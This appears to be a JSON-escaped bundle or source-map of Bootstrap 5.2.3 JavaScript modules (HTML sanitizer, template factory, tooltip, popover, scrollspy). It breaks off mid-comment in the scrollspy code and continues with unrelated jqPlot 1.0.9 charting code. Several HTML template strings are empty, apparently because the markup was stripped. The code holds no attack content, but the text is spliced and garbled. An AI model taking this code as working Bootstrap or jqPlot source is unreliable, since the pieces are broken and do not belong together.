'height'],\n li: [],\n ol: [],\n p: [],\n pre: [],\n s: [],\n small: [],\n span: [],\n sub: [],\n sup: [],\n strong: [],\n u: [],\n ul: []\n}\n\nexport function sanitizeHtml(unsafeHtml, allowList, sanitizeFunction) {\n if (!unsafeHtml.length) {\n return unsafeHtml\n }\n\n if (sanitizeFunction && typeof sanitizeFunction === 'function') {\n return sanitizeFunction(unsafeHtml)\n }\n\n const domParser = new window.DOMParser()\n const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html')\n const elements = [].concat(...createdDocument.body.querySelectorAll('*'))\n\n for (const element of elements) {\n const elementName = element.nodeName.toLowerCase()\n\n if (!Object.keys(allowList).includes(elementName)) {\n element.remove()\n\n continue\n }\n\n const attributeList = [].concat(...element.attributes)\n const allowedAttributes = [].concat(allowList['*'] || [], allowList[elementName] || [])\n\n for (const attribute of attributeList) {\n if (!allowedAttribute(attribute, allowedAttributes)) {\n element.removeAttribute(attribute.nodeName)\n }\n }\n }\n\n return createdDocument.body.innerHTML\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/template-factory.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { DefaultAllowlist, sanitizeHtml } from './sanitizer'\nimport { getElement, isElement } from '../util/index'\nimport SelectorEngine from '../dom/selector-engine'\nimport Config from './config'\n\n/**\n * Constants\n */\n\nconst NAME = 'TemplateFactory'\n\nconst Default = {\n allowList: DefaultAllowlist,\n content: {}, // { selector : text , selector2 : text2 , }\n extraClass: '',\n html: false,\n sanitize: true,\n sanitizeFn: null,\n template: '
            '\n}\n\nconst DefaultType = {\n allowList: 'object',\n content: 'object',\n extraClass: '(string|function)',\n html: 'boolean',\n sanitize: 'boolean',\n sanitizeFn: '(null|function)',\n template: 'string'\n}\n\nconst DefaultContentType = {\n entry: '(string|element|function|null)',\n selector: '(string|element)'\n}\n\n/**\n * Class definition\n */\n\nclass TemplateFactory extends Config {\n constructor(config) {\n super()\n this._config = this._getConfig(config)\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n getContent() {\n return Object.values(this._config.content)\n .map(config => this._resolvePossibleFunction(config))\n .filter(Boolean)\n }\n\n hasContent() {\n return this.getContent().length > 0\n }\n\n changeContent(content) {\n this._checkContent(content)\n this._config.content = { ...this._config.content, ...content }\n return this\n }\n\n toHtml() {\n const templateWrapper = document.createElement('div')\n templateWrapper.innerHTML = this._maybeSanitize(this._config.template)\n\n for (const [selector, text] of Object.entries(this._config.content)) {\n this._setContent(templateWrapper, text, selector)\n }\n\n const template = templateWrapper.children[0]\n const extraClass = this._resolvePossibleFunction(this._config.extraClass)\n\n if (extraClass) {\n template.classList.add(...extraClass.split(' '))\n }\n\n return template\n }\n\n // Private\n _typeCheckConfig(config) {\n super._typeCheckConfig(config)\n this._checkContent(config.content)\n }\n\n _checkContent(arg) {\n for (const [selector, content] of Object.entries(arg)) {\n super._typeCheckConfig({ selector, entry: content }, DefaultContentType)\n }\n }\n\n _setContent(template, content, selector) {\n const templateElement = SelectorEngine.findOne(selector, template)\n\n if (!templateElement) {\n return\n }\n\n content = this._resolvePossibleFunction(content)\n\n if (!content) {\n templateElement.remove()\n return\n }\n\n if (isElement(content)) {\n this._putElementInTemplate(getElement(content), templateElement)\n return\n }\n\n if (this._config.html) {\n templateElement.innerHTML = this._maybeSanitize(content)\n return\n }\n\n templateElement.textContent = content\n }\n\n _maybeSanitize(arg) {\n return this._config.sanitize ? sanitizeHtml(arg, this._config.allowList, this._config.sanitizeFn) : arg\n }\n\n _resolvePossibleFunction(arg) {\n return typeof arg === 'function' ? arg(this) : arg\n }\n\n _putElementInTemplate(element, templateElement) {\n if (this._config.html) {\n templateElement.innerHTML = ''\n templateElement.append(element)\n return\n }\n\n templateElement.textContent = element.textContent\n }\n}\n\nexport default TemplateFactory\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport * as Popper from '@popperjs/core'\nimport { defineJQueryPlugin, findShadowRoot, getElement, getUID, isRTL, noop } from './util/index'\nimport { DefaultAllowlist } from './util/sanitizer'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport BaseComponent from './base-component'\nimport TemplateFactory from './util/template-factory'\n\n/**\n * Constants\n */\n\nconst NAME = 'tooltip'\nconst DISALLOWED_ATTRIBUTES = new Set(['sanitize', 'allowList', 'sanitizeFn'])\n\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_MODAL = 'modal'\nconst CLASS_NAME_SHOW = 'show'\n\nconst SELECTOR_TOOLTIP_INNER = '.tooltip-inner'\nconst SELECTOR_MODAL = `.${CLASS_NAME_MODAL}`\n\nconst EVENT_MODAL_HIDE = 'hide.bs.modal'\n\nconst TRIGGER_HOVER = 'hover'\nconst TRIGGER_FOCUS = 'focus'\nconst TRIGGER_CLICK = 'click'\nconst TRIGGER_MANUAL = 'manual'\n\nconst EVENT_HIDE = 'hide'\nconst EVENT_HIDDEN = 'hidden'\nconst EVENT_SHOW = 'show'\nconst EVENT_SHOWN = 'shown'\nconst EVENT_INSERTED = 'inserted'\nconst EVENT_CLICK = 'click'\nconst EVENT_FOCUSIN = 'focusin'\nconst EVENT_FOCUSOUT = 'focusout'\nconst EVENT_MOUSEENTER = 'mouseenter'\nconst EVENT_MOUSELEAVE = 'mouseleave'\n\nconst AttachmentMap = {\n AUTO: 'auto',\n TOP: 'top',\n RIGHT: isRTL() ? 'left' : 'right',\n BOTTOM: 'bottom',\n LEFT: isRTL() ? 'right' : 'left'\n}\n\nconst Default = {\n allowList: DefaultAllowlist,\n animation: true,\n boundary: 'clippingParents',\n container: false,\n customClass: '',\n delay: 0,\n fallbackPlacements: ['top', 'right', 'bottom', 'left'],\n html: false,\n offset: [0, 0],\n placement: 'top',\n popperConfig: null,\n sanitize: true,\n sanitizeFn: null,\n selector: false,\n template: '
            ' +\n '
            ' +\n '
            ' +\n '
            ',\n title: '',\n trigger: 'hover focus'\n}\n\nconst DefaultType = {\n allowList: 'object',\n animation: 'boolean',\n boundary: '(string|element)',\n container: '(string|element|boolean)',\n customClass: '(string|function)',\n delay: '(number|object)',\n fallbackPlacements: 'array',\n html: 'boolean',\n offset: '(array|string|function)',\n placement: '(string|function)',\n popperConfig: '(null|object|function)',\n sanitize: 'boolean',\n sanitizeFn: '(null|function)',\n selector: '(string|boolean)',\n template: 'string',\n title: '(string|element|function)',\n trigger: 'string'\n}\n\n/**\n * Class definition\n */\n\nclass Tooltip extends BaseComponent {\n constructor(element, config) {\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s tooltips require Popper (https://popper.js.org)')\n }\n\n super(element, config)\n\n // Private\n this._isEnabled = true\n this._timeout = 0\n this._isHovered = null\n this._activeTrigger = {}\n this._popper = null\n this._templateFactory = null\n this._newContent = null\n\n // Protected\n this.tip = null\n\n this._setListeners()\n\n if (!this._config.selector) {\n this._fixTitle()\n }\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle() {\n if (!this._isEnabled) {\n return\n }\n\n this._activeTrigger.click = !this._activeTrigger.click\n if (this._isShown()) {\n this._leave()\n return\n }\n\n this._enter()\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n EventHandler.off(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler)\n\n if (this._element.getAttribute('data-bs-original-title')) {\n this._element.setAttribute('title', this._element.getAttribute('data-bs-original-title'))\n }\n\n this._disposePopper()\n super.dispose()\n }\n\n show() {\n if (this._element.style.display === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n if (!(this._isWithContent() && this._isEnabled)) {\n return\n }\n\n const showEvent = EventHandler.trigger(this._element, this.constructor.eventName(EVENT_SHOW))\n const shadowRoot = findShadowRoot(this._element)\n const isInTheDom = (shadowRoot || this._element.ownerDocument.documentElement).contains(this._element)\n\n if (showEvent.defaultPrevented || !isInTheDom) {\n return\n }\n\n // todo v6 remove this OR make it optional\n this._disposePopper()\n\n const tip = this._getTipElement()\n\n this._element.setAttribute('aria-describedby', tip.getAttribute('id'))\n\n const { container } = this._config\n\n if (!this._element.ownerDocument.documentElement.contains(this.tip)) {\n container.append(tip)\n EventHandler.trigger(this._element, this.constructor.eventName(EVENT_INSERTED))\n }\n\n this._popper = this._createPopper(tip)\n\n tip.classList.add(CLASS_NAME_SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n for (const element of [].concat(...document.body.children)) {\n EventHandler.on(element, 'mouseover', noop)\n }\n }\n\n const complete = () => {\n EventHandler.trigger(this._element, this.constructor.eventName(EVENT_SHOWN))\n\n if (this._isHovered === false) {\n this._leave()\n }\n\n this._isHovered = false\n }\n\n this._queueCallback(complete, this.tip, this._isAnimated())\n }\n\n hide() {\n if (!this._isShown()) {\n return\n }\n\n const hideEvent = EventHandler.trigger(this._element, this.constructor.eventName(EVENT_HIDE))\n if (hideEvent.defaultPrevented) {\n return\n }\n\n const tip = this._getTipElement()\n tip.classList.remove(CLASS_NAME_SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n for (const element of [].concat(...document.body.children)) {\n EventHandler.off(element, 'mouseover', noop)\n }\n }\n\n this._activeTrigger[TRIGGER_CLICK] = false\n this._activeTrigger[TRIGGER_FOCUS] = false\n this._activeTrigger[TRIGGER_HOVER] = false\n this._isHovered = null // it is a trick to support manual triggering\n\n const complete = () => {\n if (this._isWithActiveTrigger()) {\n return\n }\n\n if (!this._isHovered) {\n this._disposePopper()\n }\n\n this._element.removeAttribute('aria-describedby')\n EventHandler.trigger(this._element, this.constructor.eventName(EVENT_HIDDEN))\n }\n\n this._queueCallback(complete, this.tip, this._isAnimated())\n }\n\n update() {\n if (this._popper) {\n this._popper.update()\n }\n }\n\n // Protected\n _isWithContent() {\n return Boolean(this._getTitle())\n }\n\n _getTipElement() {\n if (!this.tip) {\n this.tip = this._createTipElement(this._newContent || this._getContentForTemplate())\n }\n\n return this.tip\n }\n\n _createTipElement(content) {\n const tip = this._getTemplateFactory(content).toHtml()\n\n // todo: remove this check on v6\n if (!tip) {\n return null\n }\n\n tip.classList.remove(CLASS_NAME_FADE, CLASS_NAME_SHOW)\n // todo: on v6 the following can be achieved with CSS only\n tip.classList.add(`bs-${this.constructor.NAME}-auto`)\n\n const tipId = getUID(this.constructor.NAME).toString()\n\n tip.setAttribute('id', tipId)\n\n if (this._isAnimated()) {\n tip.classList.add(CLASS_NAME_FADE)\n }\n\n return tip\n }\n\n setContent(content) {\n this._newContent = content\n if (this._isShown()) {\n this._disposePopper()\n this.show()\n }\n }\n\n _getTemplateFactory(content) {\n if (this._templateFactory) {\n this._templateFactory.changeContent(content)\n } else {\n this._templateFactory = new TemplateFactory({\n ...this._config,\n // the `content` var has to be after `this._config`\n // to override config.content in case of popover\n content,\n extraClass: this._resolvePossibleFunction(this._config.customClass)\n })\n }\n\n return this._templateFactory\n }\n\n _getContentForTemplate() {\n return {\n [SELECTOR_TOOLTIP_INNER]: this._getTitle()\n }\n }\n\n _getTitle() {\n return this._resolvePossibleFunction(this._config.title) || this._element.getAttribute('data-bs-original-title')\n }\n\n // Private\n _initializeOnDelegatedTarget(event) {\n return this.constructor.getOrCreateInstance(event.delegateTarget, this._getDelegateConfig())\n }\n\n _isAnimated() {\n return this._config.animation || (this.tip && this.tip.classList.contains(CLASS_NAME_FADE))\n }\n\n _isShown() {\n return this.tip && this.tip.classList.contains(CLASS_NAME_SHOW)\n }\n\n _createPopper(tip) {\n const placement = typeof this._config.placement === 'function' ?\n this._config.placement.call(this, tip, this._element) :\n this._config.placement\n const attachment = AttachmentMap[placement.toUpperCase()]\n return Popper.createPopper(this._element, tip, this._getPopperConfig(attachment))\n }\n\n _getOffset() {\n const { offset } = this._config\n\n if (typeof offset === 'string') {\n return offset.split(',').map(value => Number.parseInt(value, 10))\n }\n\n if (typeof offset === 'function') {\n return popperData => offset(popperData, this._element)\n }\n\n return offset\n }\n\n _resolvePossibleFunction(arg) {\n return typeof arg === 'function' ? arg.call(this._element) : arg\n }\n\n _getPopperConfig(attachment) {\n const defaultBsPopperConfig = {\n placement: attachment,\n modifiers: [\n {\n name: 'flip',\n options: {\n fallbackPlacements: this._config.fallbackPlacements\n }\n },\n {\n name: 'offset',\n options: {\n offset: this._getOffset()\n }\n },\n {\n name: 'preventOverflow',\n options: {\n boundary: this._config.boundary\n }\n },\n {\n name: 'arrow',\n options: {\n element: `.${this.constructor.NAME}-arrow`\n }\n },\n {\n name: 'preSetPlacement',\n enabled: true,\n phase: 'beforeMain',\n fn: data => {\n // Pre-set Popper's placement attribute in order to read the arrow sizes properly.\n // Otherwise, Popper mixes up the width and height dimensions since the initial arrow style is for top placement\n this._getTipElement().setAttribute('data-popper-placement', data.state.placement)\n }\n }\n ]\n }\n\n return {\n ...defaultBsPopperConfig,\n ...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)\n }\n }\n\n _setListeners() {\n const triggers = this._config.trigger.split(' ')\n\n for (const trigger of triggers) {\n if (trigger === 'click') {\n EventHandler.on(this._element, this.constructor.eventName(EVENT_CLICK), this._config.selector, event => {\n const context = this._initializeOnDelegatedTarget(event)\n context.toggle()\n })\n } else if (trigger !== TRIGGER_MANUAL) {\n const eventIn = trigger === TRIGGER_HOVER ?\n this.constructor.eventName(EVENT_MOUSEENTER) :\n this.constructor.eventName(EVENT_FOCUSIN)\n const eventOut = trigger === TRIGGER_HOVER ?\n this.constructor.eventName(EVENT_MOUSELEAVE) :\n this.constructor.eventName(EVENT_FOCUSOUT)\n\n EventHandler.on(this._element, eventIn, this._config.selector, event => {\n const context = this._initializeOnDelegatedTarget(event)\n context._activeTrigger[event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER] = true\n context._enter()\n })\n EventHandler.on(this._element, eventOut, this._config.selector, event => {\n const context = this._initializeOnDelegatedTarget(event)\n context._activeTrigger[event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER] =\n context._element.contains(event.relatedTarget)\n\n context._leave()\n })\n }\n }\n\n this._hideModalHandler = () => {\n if (this._element) {\n this.hide()\n }\n }\n\n EventHandler.on(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler)\n }\n\n _fixTitle() {\n const title = this._element.getAttribute('title')\n\n if (!title) {\n return\n }\n\n if (!this._element.getAttribute('aria-label') && !this._element.textContent.trim()) {\n this._element.setAttribute('aria-label', title)\n }\n\n this._element.setAttribute('data-bs-original-title', title) // DO NOT USE IT. Is only for backwards compatibility\n this._element.removeAttribute('title')\n }\n\n _enter() {\n if (this._isShown() || this._isHovered) {\n this._isHovered = true\n return\n }\n\n this._isHovered = true\n\n this._setTimeout(() => {\n if (this._isHovered) {\n this.show()\n }\n }, this._config.delay.show)\n }\n\n _leave() {\n if (this._isWithActiveTrigger()) {\n return\n }\n\n this._isHovered = false\n\n this._setTimeout(() => {\n if (!this._isHovered) {\n this.hide()\n }\n }, this._config.delay.hide)\n }\n\n _setTimeout(handler, timeout) {\n clearTimeout(this._timeout)\n this._timeout = setTimeout(handler, timeout)\n }\n\n _isWithActiveTrigger() {\n return Object.values(this._activeTrigger).includes(true)\n }\n\n _getConfig(config) {\n const dataAttributes = Manipulator.getDataAttributes(this._element)\n\n for (const dataAttribute of Object.keys(dataAttributes)) {\n if (DISALLOWED_ATTRIBUTES.has(dataAttribute)) {\n delete dataAttributes[dataAttribute]\n }\n }\n\n config = {\n ...dataAttributes,\n ...(typeof config === 'object' && config ? config : {})\n }\n config = this._mergeConfigObj(config)\n config = this._configAfterMerge(config)\n this._typeCheckConfig(config)\n return config\n }\n\n _configAfterMerge(config) {\n config.container = config.container === false ? document.body : getElement(config.container)\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n for (const key in this._config) {\n if (this.constructor.Default[key] !== this._config[key]) {\n config[key] = this._config[key]\n }\n }\n\n config.selector = false\n config.trigger = 'manual'\n\n // In the future can be replaced with:\n // const keysWithDifferentValues = Object.entries(this._config).filter(entry => this.constructor.Default[entry[0]] !== this._config[entry[0]])\n // `Object.fromEntries(keysWithDifferentValues)`\n return config\n }\n\n _disposePopper() {\n if (this._popper) {\n this._popper.destroy()\n this._popper = null\n }\n\n if (this.tip) {\n this.tip.remove()\n this.tip = null\n }\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Tooltip.getOrCreateInstance(this, config)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n })\n }\n}\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Tooltip)\n\nexport default Tooltip\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin } from './util/index'\nimport Tooltip from './tooltip'\n\n/**\n * Constants\n */\n\nconst NAME = 'popover'\n\nconst SELECTOR_TITLE = '.popover-header'\nconst SELECTOR_CONTENT = '.popover-body'\n\nconst Default = {\n ...Tooltip.Default,\n content: '',\n offset: [0, 8],\n placement: 'right',\n template: '
            ' +\n '
            ' +\n '

            ' +\n '
            ' +\n '
            ',\n trigger: 'click'\n}\n\nconst DefaultType = {\n ...Tooltip.DefaultType,\n content: '(null|string|element|function)'\n}\n\n/**\n * Class definition\n */\n\nclass Popover extends Tooltip {\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Overrides\n _isWithContent() {\n return this._getTitle() || this._getContent()\n }\n\n // Private\n _getContentForTemplate() {\n return {\n [SELECTOR_TITLE]: this._getTitle(),\n [SELECTOR_CONTENT]: this._getContent()\n }\n }\n\n _getContent() {\n return this._resolvePossibleFunction(this._config.content)\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Popover.getOrCreateInstance(this, config)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n })\n }\n}\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Popover)\n\nexport default Popover\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin, getElement, isDisabled, isVisible } from './util/index'\nimport EventHandler from './dom/event-handler'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * Constants\n */\n\nconst NAME = 'scrollspy'\nconst DATA_KEY = 'bs.scrollspy'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst EVENT_ACTIVATE = `activate${EVENT_KEY}`\nconst EVENT_CLICK = `click${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item'\nconst CLASS_NAME_ACTIVE = 'active'\n\nconst SELECTOR_DATA_SPY = '[data-bs-spy=\"scroll\"]'\nconst SELECTOR_TARGET_LINKS = '[href]'\nconst SELECTOR_NAV_LIST_GROUP = '.nav, .list-group'\nconst SELECTOR_NAV_LINKS = '.nav-link'\nconst SELECTOR_NAV_ITEMS = '.nav-item'\nconst SELECTOR_LIST_ITEMS = '.list-group-item'\nconst SELECTOR_LINK_ITEMS = `${SELECTOR_NAV_LINKS}, ${SELECTOR_NAV_ITEMS} > ${SELECTOR_NAV_LINKS}, ${SELECTOR_LIST_ITEMS}`\nconst SELECTOR_DROPDOWN = '.dropdown'\nconst SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle'\n\nconst Default = {\n offset: null, // TODO: v6 @deprecated, keep it for backwards compatibility reasons\n rootMargin: '0px 0px -25%',\n smoothScroll: false,\n target: null,\n threshold: [0.1, 0.5, 1]\n}\n\nconst DefaultType = {\n offset: '(number|null)', // TODO v6 @deprecated, keep it for backwards compatibility reasons\n rootMargin: 'string',\n smoothScroll: 'boolean',\n target: 'element',\n threshold: 'array'\n}\n\n/**\n * Class definition\n */\n\nclass ScrollSpy extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n // this._element is the observablesContainer and config.target the menu links wrapper\n this._targetLinks = new Map()\n this._observableSections = new Map()\n this._rootElement = getComputedStyle(this._element).overflowY === 'visible' ? null : this._element\n this._activeTarget = null\n this._observer = null\n this._previousScrollData = {\n visibleEntryTop: 0,\n parentScrollTop: 0\n }\n this.refresh() // initialize\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n refresh() {\n this._initializeTargetsAndObservables()\n this._maybeEnableSmoothScroll()\n\n if (this._observer) {\n this._observer.disconnect()\n } else {\n this._observer = this._getNewObserver()\n }\n\n for (const section of this._observableSections.values()) {\n this._observer.observe(section)\n }\n }\n\n dispose() {\n this._observer.disconnect()\n super.dispose()\n }\n\n // Private\n _configAfterMerge(config) {\n // TODO: on v6 target should be given explicitly & remove the {target: 'ss-target'} case\n config.target = getElement(config.target) || document.body\n\n // TODO: v6 Only for backwards compatibility reasons. Use rootMargin only\n config.rootMargin = config.offset ? `${config.offset}px 0px -30%` : config.rootMargin\n\n if (typeof config.threshold === 'string') {\n config.threshold = config.threshold.split(',').map(value => Number.parseFloat(value))\n }\n\n return config\n }\n\n _maybeEnableSmoothScroll() {\n if (!this._config.smoothScroll) {\n return\n }\n\n // unregister any previous listeners\n EventHandler.off(this._config.target, EVENT_CLICK)\n\n EventHandler.on(this._config.target, EVENT_CLICK, SELECTOR_TARGET_LINKS, event => {\n const observableSection = this._observableSections.get(event.target.hash)\n if (observableSection) {\n event.preventDefault()\n const root = this._rootElement || window\n const height = observableSection.offsetTop - this._element.offsetTop\n if (root.scrollTo) {\n root.scrollTo({ top: height, behavior: 'smooth' })\n return\n }\n\n // Chrome 60 doesn't support `scrollTo`\n root.scrollTop = height\n }\n })\n }\n\n _getNewObserver() {\n const options = {\n root: this._rootElement,\n threshold: this._config.threshold,\n rootMargin: this._config.rootMargin\n }\n\n return new IntersectionObserver(entries => this._observerCallback(entries), options)\n }\n\n // The logic of selection\n _observerCallback(entries) {\n const targetElement = entry => this._targetLinks.get(`#${entry.target.id}`)\n const activate = entry => {\n this._previousScrollData.visibleEntryTop = entry.target.offsetTop\n this._process(targetElement(entry))\n }\n\n const parentScrollTop = (this._rootElement || document.documentElement).scrollTop\n const userScrollsDown = parentScrollTop >= this._previousScrollData.parentScrollTop\n this._previousScrollData.parentScrollTop = parentScrollTop\n\n for (const entry of entries) {\n if (!entry.isIntersecting) {\n this._activeTarget = null\n this._clearActiveClass(targetElement(entry))\n\n continue\n }\n\n const entryIsLowerThanPrevious = entry.target.offsetTop >= this._previousScrollData.visibleEntryTop\n // if we are scrolling down, pick the bigger offsetTop\n if (userScrollsDown && entryIsLowerThanPrevious) {\n activate(entry)\n // if parent isn't scrolled, let's keep the first visible item, breaking the iteration\n if (!parentScrollTop) {\n return\n }\n\n continue\n }\n\n // if we are scrolling up, pick the smallest offsetTop\n if (!userScrollsDown && !entryIsLowerThanPrevious) {\n activate(entry)\n }\n }\n }\n\n _initializeTargetsAndObservables() {\n this._targetLinks = new Map()\n this._observableSections = new Map()\n\n const targetLinks = SelectorEngine.find(SELECTOR_TARGET_LINKS, this._config.target)\n\n for (const anchor of targetLinks) {\n // ensure that the anchor has an id and is not disabled\n if (!anchor.hash || isDisabled(anchor)) {\n continue\n }\n\n const observableSection = SelectorEngine.findOne(anchor.hash, this._element)\n\n // ensure that the observableSection exists & is visible\n if (isVisible(observableSection)) {\n this._targetLinks.set(anchor.hash, anchor)\n this._observableSections.set(anchor.hash, observableSection)\n }\n }\n }\n\n _process(target) {\n if (this._activeTarget === target) {\n return\n }\n\n this._clearActiveClass(this._config.target)\n this._activeTarget = target\n target.classList.add(CLASS_NAME_ACTIVE)\n this._activateParents(target)\n\n EventHandler.trigger(this._element, EVENT_ACTIVATE, { relatedTarget: target })\n }\n\n _activateParents(target) {\n // Activate dropdown parents\n if (target.classList.contains(CLASS_NAME_DROPDOWN_ITEM)) {\n SelectorEngine.findOne(SELECTOR_DROPDOWN_TOGGLE, target.closest(SELECTOR_DROPDOWN))\n .classList.add(CLASS_NAME_ACTIVE)\n return\n }\n\n for (const listGroup of SelectorEngine.parents(target, SELECTOR_NAV_LIST_GROUP)) {\n // Set triggered links parents as active\n // With both
              and
            '); $('#'+target).addClass('jqplot-error'); document.getElementById(target).style.background = $.jqplot.config.errorBackground; document.getElementById(target).style.border = $.jqplot.config.errorBorder; document.getElementById(target).style.fontFamily = $.jqplot.config.errorFontFamily; document.getElementById(target).style.fontSize = $.jqplot.config.errorFontSize; document.getElementById(target).style.fontStyle = $.jqplot.config.errorFontStyle; document.getElementById(target).style.fontWeight = $.jqplot.config.errorFontWeight; } } else { plot.init(target, _data, _options); plot.draw(); plot.themeEngine.init.call(plot); return plot; } }; $.jqplot.version = "1.0.9"; $.jqplot.revision = "dff2f04"; $.jqplot.targetCounter = 1; // canvas manager to reuse canvases on the plot. // Should help solve problem of canvases not being freed and // problem of waiting forever for firefox to decide to free memory. $.jqplot.CanvasManager = function() { // canvases are managed globally so that they can be reused // across plots after they have been freed if (typeof $.jqplot.CanvasManager.canvases == 'undefined') { $.jqplot.CanvasManager.canvases = []; $.jqplot.CanvasManager.free = []; } var myCanvases = []; this.getCanvas = function() { var canvas; var makeNew = true; if (!$.jqplot.use_excanvas) { for (var i = 0, l = $.jqplot.CanvasManager.canvases.length; i < l; i++) { if ($.jqplot.CanvasManager.free[i] === true) { makeNew = false; canvas = $.jqplot.CanvasManager.canvases[i]; // $(canvas).removeClass('jqplot-canvasManager-free').addClass('jqplot-canvasManager-inuse'); $.jqplot.CanvasManager.free[i] = false; myCanvases.push(i); break; } } } if (makeNew) { canvas = document.createElement('canvas'); myCanvases.push($.jqplot.CanvasManager.canvases.length); $.jqplot.CanvasManager.canvases.push(canvas); $.jqplot.CanvasManager.free.push(false); } return canvas; }; // this method has to be used after settings the dimesions // on the element returned by getCanvas() this.initCanvas = function(canvas) { if ($.jqplot.use_excanvas) { return window.G_vmlCanvasManager.initElement(canvas); } var cctx = canvas.getContext('2d'); var canvasBackingScale = 1; if (window.devicePixelRatio > 1 && (cctx.webkitBackingStorePixelRatio === undefined || cctx.webkitBackingStorePixelRatio < 2)) { canvasBackingScale = window.devicePixelRatio; } var oldWidth = canvas.width; var oldHeight = canvas.height; canvas.width = canvasBackingScale * canvas.width; canvas.height = canvasBackingScale * canvas.height; canvas.style.width = oldWidth + 'px'; canvas.style.height = oldHeight + 'px'; cctx.save(); cctx.scale(canvasBackingScale, canvasBackingScale); return canvas; }; this.freeAllCanvases = function() { for (var i = 0, l=myCanvases.length; i < l; i++) { this.freeCanvas(myCanvases[i]); } myCanvases = []; }; this.freeCanvas = function(idx) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { // excanvas can't be reused, but properly unset window.G_vmlCanvasManager.uninitElement($.jqplot.CanvasManager.canvases[idx]); $.jqplot.CanvasManager.canvases[idx] = null; } else { var canvas = $.jqplot.CanvasManager.canvases[idx]; canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height); $(canvas).unbind().removeAttr('class').removeAttr('style'); // Style attributes seemed to be still hanging around. wierd. Some ticks // still retained a left: 0px attribute after reusing a canvas. $(canvas).css({left: '', top: '', position: ''}); // setting size to 0 may save memory of unused canvases? canvas.width = 0; canvas.height = 0; $.jqplot.CanvasManager.free[idx] = true; } }; }; // Convienence function that won't hang IE or FF without FireBug. $.jqplot.log = function() { if (window.console) { window.console.log.apply(window.console, arguments); } }; $.jqplot.config = { addDomReference: false, enablePlugins:false, defaultHeight:300, defaultWidth:400, UTCAdjust:false, timezoneOffset: new Date(new Date().getTimezoneOffset() * 60000), errorMessage: '', errorBackground: '', errorBorder: '', errorFontFamily: '', errorFontSize: '', errorFontStyle: '', errorFontWeight: '', catchErrors: false, defaultTickFormatString: "%.1f", defaultColors: [ "#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], defaultNegativeColors: [ "#498991", "#C08840", "#9F9274", "#546D61", "#646C4A", "#6F6621", 